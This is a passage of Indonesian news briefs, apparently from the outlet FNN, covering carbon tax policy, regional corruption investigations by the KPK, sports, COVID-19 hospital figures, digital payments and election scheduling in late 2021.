penerapan pajak karbon akan diterapkan ke dalam uji coba perdagangan karbon yang sedang dilakukan, sehingga mekanismenya adalah cap and trade serta tax," kata Sekretaris Direktorat Jenderal Ketenagalistrikan Kementerian ESDM Munir Ahmad. Saat ini Direktorat Jenderal Ketenagalistrikan Kementerian ESDM mulai menyosialisasikan pajak karbon dan perdagangan karbon kepada para pelaku usaha di subsektor ketenagalistrikan. Sosialisasi kebijakan terbaru itu memberikan kepastian bagi para pemangku kepentingan dalam menjalankan usaha dan mendukung program-program pemerintah di subsektor ketenagalistrikan. Pelaksanaan uji coba perdagangan karbon sejalan dengan Peraturan Presiden Nomor 98 Tahun 2021 yang baru saja diterbitkan pada 29 Oktober tahun ini. Regulasi anyar itu memuat mekanisme penyelenggaraan nilai ekonomi karbon untuk pencapaian target kontribusi yang ditetapkan secara nasional dan pengendalian emisi gas rumah kaca dalam pembangunan di Indonesia. (mth)

Jakpro Jalankan Fungsi Komersial dan Penugasan Bantu Pemprov DKI

Jakarta, FNN - Badan Usaha Milik Daerah Provinsi DKI Jakarta PT Jakarta Propertindo atau Jakpro (Perseroda) memiliki peranan ganda, yakni peranan komersial dan proyek penugasan dari Pemerintah Provinsi DKI Jakarta. Direktur Keuangan PT Jakpro Yuliantina Wangsawiguna mengatakan ini salah satu keunikan dari BUMD berbentuk perseroan terbatas (PT). "Kalau PT itu kan memaksimalkan laba bagi pemangku kepentingan, tapi Jakpro selain laba, kami juga mendapatkan beberapa penugasan dari Pemprov DKI," ujar Yuliantina dalam seminar daring "Urban Sustainability: Tren Masa Depan Perkotaan" di Jakarta pada Kamis. Yuliantina menjelaskan jika orang awam melihat laporan keuangan Jakpro yang berkonsolidasi dengan pemerintah, maka terlihat bottom line atau pendapatan bersih perusahaan merugi. "Bottom line itu merugi, tapi kami berusaha memilah nih. Ternyata bahwa proyek penugasan kami berkontribusi terhadap kerugian, tapi proyek komersial kami menghasilkan laba," ujar Yuliantina. Yuliantina mengungkapkan terlihat kalau kerugian konsolidasi Jakpro sebenarnya tidak hanya murni dari operasional Jakpro, Sebab bisnis komersial memang menghasilkan laba, tapi dari bisnis itu kemudian menghasilkan proyek penugasan baru dari pemerintah. "Penugasan memang tidak seharusnya menghasilkan keuntungan, tapi kami membantu Pemerintah DKI Jakarta mengembangkan Kota Jakarta," tutur Yuliantina. Yuliantina mencontohkan hasil yang diukur dari LRT Jakarta (LRTJ) menunjukkan peningkatan manfaat ekonomi bagi rekanan bisnis sekitar 67 persen pada 2020 dengan target 3,7 juta penumpang. Kemudian peningkatan kontribusi ekonomi kepada pemerintah melalui pajak Rp917 juta setelah LRTJ beroperasi dari 2018-2020. Selanjutnya peningkatan jaminan pendapatan bagi karyawan sebesar 24 persen responden dari karyawan LRTJ melaporkan bahwa mereka bergantung pada Jakpro untuk penyediaan kesempatan kerja. Jadi setiap proyek yang digarap Jakro bukan hanya menghasilkan keuntungan, namun juga berperan melaksanakan penugasan untuk membantu Pemprov DKI Jakarta. (mth)

IOC Lakukan Panggilan Video Kedua dengan Peng Shuai

Jakarta, FNN - Komite Olimpiade Internasional (IOC) menyatakan telah melakukan panggilan video kedua dengan mantan petenis nomor satu dunia nomor ganda Peng Shuai di tengah kekhawatiran tentang keselataman petenis China tersebut. IOC mengatakan telah melakukan panggilan, setelah pertama kali berbicara dengan petenis tersebut pada 21 November, Rabu malam waktu Swiss, tepat sebelum asosiasi tenis perempuan (WTA) mengumumkan penangguhan semua turnamen di China karena kekhwatiran tentang keselamatan petenis tersebut. "Kami memiliki kepedulian yang sama seperti banyak orang dan organisasi lain tentang kesejahteraan dan keselamatan Peng Shuai. Inilah sebabnya, baru kemarin tim IOC mengadakan panggilan video lagi dengannya," kata IOC dikutip dari Reuters, Kamis. "Kami telah menawarkan dukungan luas kepadanya, dan akan tetap berhubungan secara teratur dengannya, dan telah menyetujui pertemuan pribadi pada Januari." IOC menambahkan Peng tampaknya "aman dan baik mengingat situasi sulit yang dia hadapi." Beijing menjadi tuan rumah Olimpiade musim dingin 2022 pada Februari. Keberadaan Peng, atlet Olimpiade tiga kali, menjadi perhatian internasional setelah hampir tiga pekan absen di hadapan publik usai mengunggah pesan di media sosial pada awal November yang menyebutkan bahwa mantan wakil perdana menteri China Zhang Gaoli telah melakukan pelecehan seksual terhadapnya. Baik Zhang, yang pensiun pada 2018, maupun pemerintah China tidak mengomentari pernyataan Peng, dan topik tersebut telah diblokir dari diskusi langsung di internet China yang sangat disensor. Keputusan WTA yang bermarkas di AS untuk menjauh dari salah satu pasar terbesarnya itu mendapat dukungan dari banyak tokoh tenis terkemuka dunia, meskipun keputusan tersebut berisiko ratusan juta dolar dalam pendapatan dan sponsor. (mth)

Presiden Joko Widodo Kunjungi Arena IBF 2021 di Bali

Bali, FNN - Presiden Republik Indonesia Joko Widodo melakukan kunjungan ke arena Indonesia Badminton Festival (IBF) 2021 di Nusa Dua, Bali, Kamis, dengan tujuan utama memberikan apresiasi kepada timnas bulu tangkis yang menjuarai Piala Thomas. Dalam kegiatan singkat ini, Presiden Jokowi secara simbolik menerima Piala Thomas yang diserahkan langsung oleh Ketua Umum PP PBSI Agung Firman Sampurna dan didampingi 12 anggota tim dan pelatih. "Saya ingin mengapresiasi, menyampaikan penghargaan yang setinggi-tingginya kepada para atlet bulu tangkis kita. Juga kepada PBSI yang telah membawa Piala Thomas setelah 19 tahun keluar dari Indonesia," kata Presiden Jokowi di Nusa Dua, Bali, Kamis. Menurut Presiden, keberhasilan ini merupakan sebuah kebanggaan bagi bangsa Indonesia karena setelah penantian lama, akhirnya Piala Thomas bisa kembali ke Tanah Air. "Ini adalah sebuah prestasi yang telah ditunggu-tunggu lama oleh seluruh rakyat Indonesia, dan saya sekali lagi ingin menyampaikan penghargaan yang setinggi-tingginya untuk Piala Thomas maupun untuk prestasi-prestasi yang lainnya," katanya menambahkan. Dalam kesempatan ini, Agung kembali mengungkapkan kebahagiannya pada kesuksesan timnas bulu tangkis Indonesia yang bisa merebut kembali Piala Thomas dalam perhelatan yang berlangsung di Denmark, Oktober lalu. "Sukses ini bukan hanya berkat kerja keras dan kerja sama para pemain, pelatih, dan ofisial. Tetapi juga berkat dukungan pemerintah Republik Indonesia," kata Agung. Tak lupa dalam kunjungannya ini Presiden Jokowi juga ikut meninjau pelaksanaan Indonesia Badminton Festival yang kini sudah mencapai turnamen terakhir, yaitu World Tour Finals, dengan dua turnamen pendahuluan yaitu Indonesia Masters dan Indonesia Open. Presiden Jokowi juga menyempatkan waktunya untuk menonton pertandingan bulu tangkis sesi sore yang berlangsung di Bali International Convention Center & Westin Resort. Presiden menyaksikan dua pertandingan yang mengawali laga sesi sore, yaitu dari nomor tunggal putri antara Pusarla V. Sindhu (India) dan Yvonne Ki (Jerman), serta nomor ganda campuran yang menampilkan persaingan Yuta Watanabe/Arisa Higashino (Jepang) melawan Tan Kian Meng/Lai Pei Jing (Malaysiia). Tidak hanya itu, Presiden Jokowi juga sempat menjajal sesi latihan bulu tangkis di lapangan latihan bersama perwakilan atlet seperti Jonatan Christie dan Hendra Setiawan. (mth)

Sebanyak 24 Siswa Sekolah Instruktur Penerbang Latihan Navigasi Jarak Jauh

Badung, FNN - Sebanyak 24 perwira siswa Sekolah Instruktur Penerbang di Pangkalan Udara TNI AU Adi Sucipto di Yogyakarta menjalani Latihan Navigasi Jarak Jauh di Pangkalan Udara TNI AU I Gusti Ngurah Rai, Bali. Latihan navigasi jarak jauh sejarak 686 kilometer dalam garis lurus itu menggunakan enam pesawat latih KT-01Wong Bee dan dilaksanakan sekitar 10 hari mulai t24 November hingga 2 Desember 2021. "Latihan navigasi jarak jauh ini adalah salah satu proses akhir dari program pendidikan Sekolah Instruktur Penerbang di Pangkalan Udara TNI AU Adi Sucipto Yogyakarta," ujar Komandan Pangkalan Udara TNI AU I Gusti Ngurah Rai, Kolonel Perbang Reza Sastranegara, di Kabupaten Badung, Bali, Kamis. Ia menjelaskan, latihan navigasi jarak jauh itu bagian yang wajib harus dilalui siswa Sekolah Instruktur Penerbang sebelum mengantongi ijazah sebagai instruktur penerbang. Setelah mereka lulus menjadi instruktur penerbang militer TNI AU, mereka akan mendapatkan call sign Jupiter diikuti nomor urutannya. "Ini memang merupakan ketentuan yang harus dilaksanakan sebelum graduation day atau sebelum siswa dilantik menjadi instruktur penerbang," katanya. Ia menjelaskan, latihan navigasi jarak jauh itu mengambil rute penerbangan dari Yogyakarta kemudian short stop di Surabaya, baru bermalam alias RON atau Remain Over Night di Bali. Kemudian keesokan hari kembali dengan rute yang sama. "Latihan navigasi jarak Jauh ini sudah dilakukan sekitar 10 hari dan hari ini yang terakhir," kata dia. Ia menambahkan, sebagai pangkalan operasi, Pangkalan Udara TNI AU I Gusti Ngurah Rai bertugas mendukung semua kelengkapan dukungan operasional penerbangan yang diperlukan dalam proses latihan navigasi jarak jauh. Sementara itu, salah satu instruktur penerbang, Mayor Perbang Idam Satria, menambahkan, fase pertama navigasi jarak jauh yang dilakukan siswa Instruktur Penerbang adalah berlatih teknik navigasi di ketinggian 13.000 di atas permukaan laut. “Kemudian fase instruksi mereka mempelajari teknik-teknik untuk memberikan instruksi, karena nantinya mereka akan menjadi instruktur penerbang yang akan mengajarkan teknik-teknik bernavigasi untuk siswa sekolah penerbang," ujarnya. (mth)

BI Sumsel Percepat Digitalisasi Transaksi Keuangan

Palembang, FNN - Perwakilan Bank Indonesia Provinsi Sumatera Selatan mengakselerasi digitalisasi transaksi keuangan dengan menggandeng pemerintah daerah, perbankan dan penyedia jasa sistem pembayaran serta para pemangku kepentingan di daerah tersebut. Kepala Kantor Bank Indonesia Provinsi Sumatera Selatan Hari Widodo di Palembang, Kamis, mengatakan, bank sentral mengajak dilakukannya percepatan dan perluasan implementasi digitalisasi pembayaran pada beberapa ekosistem 2021. Upaya ini dilakukan melalui elektronifikasi transaksi pemerintah daerah, elektronifikasi pada sektor transportasi, bantuan sosia nontunai, serta perluasan kanal pembayaran digital, khususnya Quick Response Code Indonesian Standard (QRIS). Untuk mendukung percepatannya, BI telah mengukuhkan 18 Tim Percepatan dan Perluasan Digitalisasi Daerah (TP200) yang terdiri dari satu unit di tingkat Provinsi dan 17 unit di kabupaten/kota. “Kami pun telah membuat peta jalan Ektronifikasi Transaksi Pemerintah Daerah (ETPD) tahun 2022-2025 sebagai upaya percepatannya,” kata Hari dalam Festival Digital Kito Galo. BI mendorong digitalisasi sistem pembayaran ini tak lain sebagai upaya untuk mendongkrak pemulihan dan pertumbuhan ekonomi akibat adanya COVID-19. BI juga secara nasional sudah membuat cetak biro Sistem Pembayaran Indonesia (BSP1) 2025 untuk integrasi ekonomi keuangan digital dan inklusivitas keuangan, serta mendorong pemulihan ekonomi. Kebijakan ini diyakini akan makin mendukung penerimaan dan selera masyarakat dalam menggunakan opsi sistem pembayaran. Berbagai penguatan juga dilakukan Bank Indonesia termasuk dengan memitugasi potensi cyber crime dan risiko lainnya yang dapat berpengaruh terhadap stabilitas makro ekonomi dan sistem keuangan. Salah satu yang dilakukan perwakilan Bank Indonesia di Provinsi Sumatera Selatan dalam mendorong digitalisasi ini yakni memperluas implementasi Quick Response Code Indonesian Standard (QRIS) atau penyatuan berbagai macam QR dari berbagai Penyelenggara Jasa Sistem Pembayaran (PJSP) menggunakan QR Code untuk mendorong transaksi nontunai. Perluasan dilakukan di enam ekosistem yakni pemerintah daerah, kuliner/kriya khas daerah, pendidikan dan keagamaan, pasar tradisional, lingkungan penegakan hukum dan pendidikan umum. “Ini yang kami fokuskan di 2021 sehingga sudah ada 332.886 merchant yang mengimplementasikan QRIS atau mencapai 96,68 persen dari target tahun ini,” kata Hari. Wakil Gubernur Provinsi Sumatera Selatan Mawardi Yahya mengataka pemprov mendukung percepatan transformasi digital di berbagai aspek kehidupan masyarakat. Untuk itu, pemerintah daerah dan setiap pemangku kepentingan harus bersinergi dalam mengedukasi masyarakat mengenai pentingnya digitalisasi dalam setiap transaksi keuangan. “Transaksi nontunai ini praktis dan aman, serta dapat mencegah tindakan penyalagunaan karena semuanya tercatat. Artinya ini baik untuk tata kelola pemerintahan,” kata Mawardi. (mth)

Oknum Anggota DPRD Tangerang Ditetapkan Sebagai Tersangka Kasus KDRT

Tangerang, FNN - Polisi telah menetapkan oknum anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Tangerang, Banten, berinisial RGS sebagai tersangka atas dugaan kasus tindak kekerasan dalam rumah tangga (KDRT). "Status RGS sudah ditetapkan sebagai tersangka oleh penyidik Satreskrim Polresta Tangerang," kata Kabid Humas Polda Banten AKBP Shinto Silitonga melalui pesan tertulis diterima di Tangerang, Kamis. Ia mengatakan penetapan sebagai tersangka terhadap anggota dewan daerah itu didasari dari hasil laporan korban yang merupakan Isteri terduga pelaku dan diterima oleh polisi pada tanggal 1 Juni 2021 lalu. Kemudian, lanjutnya, pihak kepolisian langsung dilakukan penyidikan. "Jadi berdasarkan pengaduan tentang perkara KDRT dari seorang ibu rumah tangga LK, 40 tahun pada 1 Juni 2021," katanya. Ia mengungkapkan atas penetapan sebagai tersangka, penyidik dari Polresta Tangerang, Polda Banten akan menjalani pemeriksaan lebih dalam terhadap RGS. "Penyidik sudah menjadwalkan untuk pemeriksaan RGS sebagai tersangka hari ini Kamis (02/12)," ungkap dia. Sementara itu, RGS yang merupakan anggota Komisi II DPRD Kabupaten Tangerang itu saat dikonfirmasi oleh Antara, belum mendapatkan jawaban secara resmi darinya. (sws)

KPK Terima Pengembalian Rp3 Miliar Terkait Kasus Cukai di Bintan

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) menerima pengembalian uang Rp3 miliar dalam proses penyidikan kasus dugaan korupsi pengaturan barang kena cukai dalam pengelolaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan 2016-2018. "Selama proses penyidikan, tim penyidik menerima adanya pengembalian uang dari beberapa pihak yang nilainya mencapai Rp3 miliar dan masih akan terus didalami lebih lanjut," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. KPK mengharapkan ada "asset recovery" atau pemulihan aset yang didapatkan dari penanganan kasus tersebut sehingga dapat menjadi pemasukan bagi kas negara. KPK telah menetapkan Bupati Bintan nonaktif Apri Sujadi (AS) dan Plt Kepala Badan Pengusahaan Kawasan Perdagangan Bebas dan Pelabuhan Bebas Bintan Wilayah Kabupaten Bintan Mohd Saleh H Umar (MSU) sebagai tersangka kasus tersebut. Keduanya disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. Apri diduga menerima sekitar Rp6,3 miliar dan Mohd Saleh menerima sekitar Rp800 juta. Dalam konstruksi perkara, KPK menjelaskan tersangka Apri pada 17 Februari 2016 dilantik menjadi Bupati Bintan yang secara "ex-officio" menjabat sebagai Wakil Ketua I Dewan Kawasan Bintan. Atas persetujuan Apri, dilakukan penetapan kuota rokok dan Minuman Mengandung Etil Alkohol (MMEA) dan menerbitkan kuota rokok sebanyak 290.760.000 batang dan kuota MMEA dengan rincian, yakni golongan A sebanyak 228.107,40 liter, golongan B sebanyak 35.152,10 liter, dan golongan C sebanyak 17.861.20 liter. Pada 2017, BP Bintan menerbitkan kuota rokok sebanyak 305.876.000 batang (18.500 karton) dan kuota MMEA dan diduga dari kedua kuota tersebut ada distribusi jatah bagi Apri sebanyak 15.000 karton, Mohd Saleh sebanyak 2.000 karton, dan pihak lainnya sebanyak 1.500 karton. Pada Februari 2018, Apri memerintahkan Kepala Bidang Perizinan BP Bintan Alfeni Harmi dan diketahui oleh Mohd Saleh untuk menambah kuota rokok BP Bintan Tahun 2018 dari hitungan awal sebanyak 21.000 karton sehingga total kuota rokok dan kuota MMEA yang ditetapkan BP Bintan Tahun 2018 sebanyak 452.740.800 batang (29.761 karton). Selanjutnya kembali dilakukan distribusi jatah di mana untuk Apri sebanyak 16.500 karton, Mohd Saleh 2.000 karton, dan pihak lainnya sebanyak 11.000 karton. KPK menduga perbuatan para tersangka mengakibatkan kerugian keuangan negara sekitar Rp250 miliar. (sws)

Pakar Sebut Masyarakat Belum Paham Grafitifikasi Akar Masalah Korupsi

Jakarta, FNN - Pakar Hukum Pidana Universitas Indonesia Gandjar Laksmana Bonaprapta mengatakan masyarakat Indonesia belum seutuhnya memahami gratifikasi merupakan salah satu akar masalah korupsi sehingga mereka pun terbiasa melakukannya. “Akar masalah korupsi adalah gratifikasi, yaitu pemberian-pemberian,” ujar Gandjar Laksamana selaku narasumber webinar nasional bertajuk “Perkuat Budaya Antikorupsi: Semangat Mengukir Prestasi” yang disiarkan langsung di kanal YouTube Bea Cukai Jakarta, dipantau dari Jakarta, Kamis. Selama ini, lanjutnya, masyarakat menganggap pemberian hadiah kepada aparatur sipil negara (ASN) atau penyelenggara negara merupakan hal biasa dan dianggap sebagai wujud ucapan terima kasih sekaligus tindakan menjaga hubungan baik. Gandjar juga menilai sebagian besar masyarakat Indonesia cenderung tidak mengetahui bahwa hal yang dilakukannya bisa tergolong kejahatan korupsi. “Kenapa korupsi masih banyak terjadi? Ternyata, masyarakat itu tidak tahu bahwa apa yang dilakukannya itu korupsi,” tekannya. Contohnya, ucap Gandjar, cara berpikir masyarakat yang selalu menganggap pemberian sekadar ucapan terima kasih sebenarnya mengindikasikan ketidaktahuan mereka bahwa dirinya telah melakukan tindakan cikal bakal korupsi. Dengan demikian, gratifikasi yang merupakan pemberian, baik berupa uang tambahan maupun hadiah dalam berbagai bentuk, justru semakin tumbuh subur di Tanah Air dan ikut menjadi pendorong maraknya terjadi tindak pidana korupsi. Secara lebih lanjut, Gandjar juga menjelaskan akar masalah gratifikasi adalah rusaknya cara berpikir dan diskriminasi. Sikap masyarakat yang belum memahami secara baik tentang gratifikasi seperti yang telah ia paparkan sebelumnya merupakan contoh dari rusaknya cara berpikir. Sementara terkait diskriminasi, tambah Gandjar, pemberian-pemberian hadiah atau barang kepada ASN ataupun penyelenggara negara menyebabkan si pemberi diistimewakan, sedangkan yang tidak memberi tidak dilayani dengan baik. Untuk mengatasi hal tersebut, ia mengajak seluruh masyarakat Indonesia untuk bersama-sama meyakini korupsi sebagai kejahatan luar biasa. Kemudian, segala tindakan yang merupakan cikal bakalnya, seperti gratifikasi berbahaya. “Kita harus meyakini korupsi kejahatan luar biasa yang tidak bisa diberantas dengan cara-cara biasa sebagaimana memberantas copet, pencurian, dan penipuan,” tegas Gandjar Laksmana Bonaprapta. (sws)

Muhaimin: Belum Ada Pembicaraan Terkait Koalisi di Pilpres 2024

Jakarta, FNN - Ketua Umum DPP PKB Abdul Muhaimin Iskandar mengakui hingga saat ini belum ada pembicaraan antar-partai politik terkait arah koalisi untuk Pemilu Presiden (Pilpres) 2024. "Sampai hari ini belum ada satupun pertemuan partai politik yang membahas calon presiden. Karena itu isu capres di lingkungan partai-partai belum ada pertemuan yang membicarakan itu," kata Muhaimin dalam keterangannya di Jakarta, Kamis. Hal itu dikatakan Muhaimin usai menghadiri pembukaan Akademi Kader Militan (Akmil) yang diselenggarakan DKN Garda Bangsa di Jakarta, Rabu, (1/12). Dia mengatakan, PKB tidak bisa berdiri sendiri mencalonkan kadernya sebagai calon presiden (capres) maupun calon wakil presiden (cawapres) di Pilpres 2024 namun perlu dukungan koalisi. Hal itu menurut dia karena ambang batas parpol ataupun gabungan parpol dapat mengajukan capres-cawapres di Pilpres 2024 adalah sebesar 20 persen. Selain itu Wakil Ketua DPR RI itu menjelaskan terkait ramainya dukungan maju menjadi capres di Pemilu 2024, hal itu sebagai tindakan yang wajar. Menurut Muhaimin, semangat relawan serta kader PKB di daerah tersebut merupakan bagian dari target politik partainya. “Kalau ada kader PKB yang semangat untuk mencalonkan saya jadi Presiden itu wajar, itu bagian dari target-target politik. Karena itu 2024 masih 3 tahun lagi kita masih punya waktu untuk melihat sejauh mana dukungan pasar publik, bukan pasar PKB," ujarnya. Muhaimin juga menargetkan PKB meraih 100 kursi DPR RI pada Pemilu 2024, dan dirinya optimis target tersebut bisa dicapai karena melihat semangat kader PKB di seluruh Indonesia. Ketua Umum DKN Garda Bangsa Tommy Kurniawan berkomitmen untuk memenangkan Muhaimin menjadi Presiden 2024, salah satunya diwujudkan dengan merekrut 1 juta kader agar memenuhi target tersebut. Dia mengatakan, salah satu target rekrutmen 1 juta kader dari kalangan anak muda adalah menaikkan popularitas Muhaimin, langkah itu penting dilakukan karena segmentasi Garda Bangsa adalah anak muda. (sws)

Anggota DPR Harap KPU-Pemerintah Sepakati Tanggal Pemilu 2024

Jakarta, FNN - Anggota Komisi II DPR RI Guspardi Gaus berharap Komisi Pemilihan Umum (KPU) dan Pemerintah segera menyepakati terkait tanggal pelaksanaan Pemilu 2024 karena semakin cepat ditetapkan maka semakin panjang waktu bagi KPU untuk mempersiapkan pemilu. "Kami tergantung kesepakatan pemerintah bersama KPU, persoalan itu harus diputuskan dua institusi itu, bukan DPR. Apabila sudah tercapai kesepakatan, maka DPR tinggal sahkan saja namun sampai saat ini belum ada kesepakatan tanggal pelaksanaan pemilu apakah 21 Februari atau 15 Mei," kata Guspardi dalam keterangannya di Jakarta, Kamis. Dia memastikan Komisi II DPR bisa menginisiasi rapat pengambilan keputusan tanggal Pemilu 2024 sebelum akhir tahun namun pemerintah dan KPU sudah sepakat. Menurut dia, apabila Pemerintah bersama KPU sudah menyatakan kesepakatan terkait tanggal Pemilu 2024, selanjutnya Komisi II DPR menggelar rapat yang dilakukan berdasarkan rapat pimpinan dan pleno. "Diagendakan kegiatan penentuan jadwal pemilu. Kami akan cari jadwal yang kosong," ujarnya. Guspardi juga mengomentari terkait KPU yang telah berkirim surat ke DPR untuk berkonsultasi dengan Komisi II membahas peraturan KPU (PKPU) tentang jadwal Pemilu 2024 dalam rapat dengar pendapat (RDP). Dia mengatakan, Komisi II DPR belum memiliki agenda untuk mengakomodir permintaan dari KPU karena belum ada kesepakatan jadwal antara KPU dan pemerintah. "Sampai saat ini belum ada kesepakatan resmi antara pemerintah dan KPU. Sesuai agenda ketika kami buat jadwal kegiatan selama masa sidang, makanya tidak dimasukkan agenda RDP dengan KPU mengenai tanggal maupun tahapan-tahapan," katanya. Dia menjelaskan sampai saat ini belum ada agenda yang diubah pimpinan Komisi II DPR untuk mengakomodir surat dari KPU yang disampaikan kepada Sekjen DPR. Guspardi tidak mempersoalkan surat yang diajukan KPU kepada DPR, namun DPR akan segera memasuki masa reses pada tanggal 16 Desember. (sws)

Pasien Rawat Inap RSDC Wisma Atlet Kemayoran Berkurang 16 Orang

Jakarta, FNN - Jumlah pasien yang dirawat di Rumah Sakit Darurat Khusus COVID-19 (RSDC) Wisma Atlet Kemayoran, Jakarta, Kamis, berkurang 16 orang, apabila dibandingkan dengan angka pada satu hari sebelumnya, Rabu (1/12), kata Kepala Penerangan Komando Gabungan Wilayah Pertahanan (Kogabwilhan) I Kolonel Marinir Aris Mudian. "Pasien rawat inap terkonfirmasi positif (COVID-19) di Tower 4, 5, 6 dan 7 sebanyak 143 orang, sementara jumlah semula (satu hari sebelumnya) 159 orang. Ada pengurangan 16 pasien rawat inap," kata Aris menerangkan perkembangan situasi di RSDC Wisma Atlet Kemayoran, Jakarta, Kamis. Ia juga menyampaikan terhitung sejak 23 Maret 2020 sampai 2 Desember 2021 jumlah pasien yang dirujuk ke RS Darurat Wisma Atlet sebanyak 129.294 orang. Dari jumlah itu, 127.508 pasien COVID-19 sembuh dan keluar dari rumah sakit, sementara 1.047 pasien dirujuk ke rumah sakit lain. Kepala penerangan Kogabwilhan I TNI mencatat pasien meninggal di RS Darurat Wisma Atlet per 2 Desember 2021 ada 596 orang. Dalam kesempatan yang sama, Aris juga menyampaikan perkembangan situasi di Rumah Sakit Khusus Infeksi (RSKI) Pulau Galang, Batam, Kepulauan Riau. Jumlah pasien rawat inap di RSKI Pulau Galang per Kamis, sebanyak 52 orang. "Pasien rawat inap ada 52 orang, yang di antaranya 28 orang pria dan 24 perempuan. 52 pasien itu seluruhnya terkonfirmasi positif COVID-19," terang Aris sebagaimana dikutip dari keterangan tertulisnya. Kepala penerangan Kogabwilhan I TNI itu mencatat dalam 24 jam terakhir jumlah pasien rawat inap di RSKI Pulau Galang berkurang 12 orang. "Pasien rawat inap per 2 Desember sebanyak 52 orang, semula (satu hari sebelumnya) 64 orang," kata dia menegaskan. Terhitung sejak 12 April 2020 sampai 2 Desember 2021, RSKI Pulau Galang menerima total 17.444 pasien. Dari jumlah itu, 17.391 pasien telah keluar dari rumah sakit, terang Kolonel Marinir Aris Mudian, Kamis. RSKI Pulau Galang melaporkan sampai 2 Desember 2021 ada satu pasien wafat akibat COVID-19. (sws)

KPK Konfirmasi Saksi Ikut Serta Proses Pengadaan Tanah SMKN 7 Tangsel

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengonfirmasi saksi Suningsih selaku notaris soal keikutsertaannya dalam proses pengadaan tanah untuk pembangunan SMKN 7 Tangerang Selatan (Tangsel), Banten. KPK memeriksa Suningsih di Gedung KPK, Jakarta, Rabu (1/12) dalam penyidikan kasus dugaan korupsi pengadaan tanah untuk pembangunan SMKN 7 Tangsel pada Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017. "Suningsih (notaris) yang bersangkutan hadir dan dikonfirmasi antara lain terkait dengan keikutsertaan saksi dalam proses pengadaan tanah untuk pembangunan SMKN 7 Tangerang Selatan pada Dinas Pendidikan dan Kebudayaan Provinsi Banten Tahun Anggaran 2017," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Selain itu, kata Ali, tim penyidik juga mengonfirmasi saksi Suningsih soal dugaan adanya aliran sejumlah uang ke beberapa pihak yang terkait dengan kasus tersebut. KPK sedang mengusut kasus dugaan korupsi pengadaan tanah pembangunan SMKN 7 Tangsel tersebut. Kendati demikian, KPK saat ini belum dapat menginformasikan secara menyeluruh konstruksi perkara dan siapa saja pihak-pihak yang telah ditetapkan sebagai tersangka. Sebagaimana kebijakan pimpinan KPK saat ini bahwa untuk publikasi konstruksi perkara dan pihak-pihak yang telah ditetapkan sebagai tersangka akan dilakukan pada saat telah dilakukan upaya paksa baik penangkapan maupun penahanan terhadap para tersangka. Dalam penyidikan kasus tersebut, tim penyidik KPK juga telah menggeledah beberapa tempat di wilayah Jakarta, Tangerang Selatan, Serang, dan Bogor, yaitu rumah kediaman dan kantor dari para pihak yang terkait dengan kasus tersebut. KPK menemukan dan mengamankan berbagai barang barang bukti diantaranya dokumen, barang elektronik, dan dua unit mobil. (sws)

KPK Panggil Wakil Ketua DPRD Banjarnegara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis, memanggil enam saksi dalam penyidikan kasus dugaan korupsi turut serta dalam pemborongan, pengadaan atau persewaan pada Dinas PUPR Pemkab Banjarnegara Tahun 2017-2018 dan penerimaan gratifikasi. Salah satu saksi yang dipanggil adalah Wakil Ketua DPRD Kabupaten Banjarnegara, Jawa Tengah Edy Purwanto. "Hari ini, bertempat di Kantor Sat Reskrim Polresta Banyumas, Jawa Tengah, tim penyidik mengagendakan pemeriksaan saksi-saksi untuk tersangka BS (Budhi Sarwono/Bupati Banjarnegara nonaktif) dan kawan-kawan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Lima saksi lainnya yang dipanggil, yaitu Pegawai Negeri Sipil (PNS) bernama Tatag Rochyadi, mantan PNS bernama Heron Kristanto, Nursidi Budiono dari pihak swasta/staf administrasi PT Bumi Rejo dan Direktur CV Karya Bhakti, Waluyo Edi Sujarwo dari pihak swasta/Direktur CV Tuk Sewu, dan Zainal Arifin selaku Direktur PT Anugrah Setiya Buana. KPK telah mengumumkan Budhi dan Kedy Afandi (KA) selaku orang kepercayaan Budhi sebagai tersangka pada Jumat (3/9). Dalam konstruksi perkara, KPK menyebut pada September 2017, Budhi memerintahkan Kedy memimpin rapat koordinasi (rakor) yang dihadiri oleh para perwakilan asosiasi jasa konstruksi di Kabupaten Banjarnegara. Dalam pertemuan tersebut, disampaikan sebagaimana perintah dan arahan Budhi, Kedy menyampaikan bahwa paket proyek pekerjaan akan dilonggarkan dengan menaikkan Harga Perkiraan Sendiri (HPS) senilai 20 persen dari nilai proyek dan untuk perusahaan-perusahaan yang ingin mendapatkan paket proyek dimaksud diwajibkan memberikan komitmen "fee" sebesar 10 persen dari nilai proyek. Pertemuan lanjutan kembali dilaksanakan di rumah pribadi Budhi yang dihadiri oleh beberapa perwakilan Asosiasi Gapensi Banjarnegara dan secara langsung Budhi menyampaikan diantaranya menaikkan HPS senilai 20 persen dari harga saat itu. Dengan pembagian lanjutannya adalah senilai 10 persen untuk Budhi sebagai komitmen "fee" dan 10 persen sebagai keuntungan rekanan. Selain itu, Budhi juga berperan aktif dengan ikut langsung dalam pelaksanaan pelelangan pekerjaan infrastruktur di antaranya membagi paket pekerjaan di Dinas PUPR Kabupaten Banjarnegara, mengikutsertakan perusahaan milik keluarganya, dan mengatur pemenang lelang. Kedy juga selalu dipantau serta diarahkan oleh Budhi saat melakukan pengaturan pembagian paket pekerjaan yang nantinya akan dikerjakan oleh perusahaan milik Budhi yang tergabung dalam grup Bumi Rejo. Penerimaan komitmen "fee" senilai 10 persen oleh Budhi dilakukan secara langsung maupun melalui perantaraan Kedy. KPK menduga Budhi telah menerima komitmen "fee" atas berbagai pekerjaan proyek infrastruktur di Kabupaten Banjarnegara sekitar Rp2,1 miliar. Atas perbuatannya, Budhi dan Kedy disangkakan melanggar Pasal 12 huruf i dan atau Pasal 12 B Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak 